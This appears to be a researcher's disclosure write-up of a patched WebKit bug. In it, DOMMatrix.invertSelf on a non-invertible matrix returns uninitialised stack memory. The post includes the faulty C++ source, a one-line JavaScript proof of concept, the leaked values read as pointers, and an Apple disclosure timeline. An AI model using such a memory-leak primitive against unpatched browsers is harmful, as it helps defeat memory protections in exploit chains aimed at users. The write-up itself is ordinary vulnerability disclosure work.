While playing around with domato and WebKit, I came across an interesting crash when calling invertSelf on a DOMMatrix. The bug was in the following code (Source/WebCore/css/DOMMatrix.cpp):

Ref<DOMMatrix> DOMMatrix::invertSelf()
{
    auto inverse = m_matrix.inverse();
    if (!inverse) {
        m_matrix.setMatrix(
            std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(),
            std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(),
            std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(),
            std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN(), std::numeric_limits<double>::quiet_NaN()
        );
        m_is2D = false;
    }
    m_matrix = inverse.value();
    return Ref<DOMMatrix> { *this };
}

This issue is that inverting m_matrix can fail and set inverse to a nullopt, but inverse.value() is still always called overwriting the NaN values with an uninitialised pointer. This will fill up the matrix with random data from the stack, which we can then access:

console.log(new DOMMatrix([0, 0, 0, 0, 0, 0]).invertSelf())
DOMMatrix:
  a: 2.3236913163e-314
  b: 6.9529314086834e-310
  c: 0
  d: 2.121995918e-314
  e: 2.2541024625e-314
  f: 6.9531249123115e-310
  is2D: false
  isIdentity: false
  m11: 2.3236913163e-314
  m12: 6.9529314086834e-310
  m13: 2.2560109e-314
  m14: 2.2561725264e-314
  m21: 0
  m22: 2.121995918e-314
  m23: 2.3487948945e-314
  m24: 2.2541024625e-314
  m31: 2.256111357e-314
  m32: 2.3217606737e-314
  m33: 2.2560109e-314
  m34: 2.2541024625e-314

After converting to Int64s using the wonderful scripts from https://github.com/saelo/jscpwn/:

0x00007fff18553185
0x0000000100000101
0x00007ffff961eb70
0x00007fff18553185
0x00000002205adf60
0x0000000100000101
0x000000022b4c7e60
0x0000000228479bb0
0x00000002201af0c0

The reason that this started crashing was due to the changes made to WTF’s internal std::optional which caused any invalid access to crash instead of using the uninitialised value.

Timeline:

  • Jul 4, 2018 - Reported to Apple
  • Jul 6, 2018 - Acknowledgement from Apple
  • Jul 9, 2018 - Fix commited to svn
  • Sep 17, 2018 - iOS and Safari updated

References: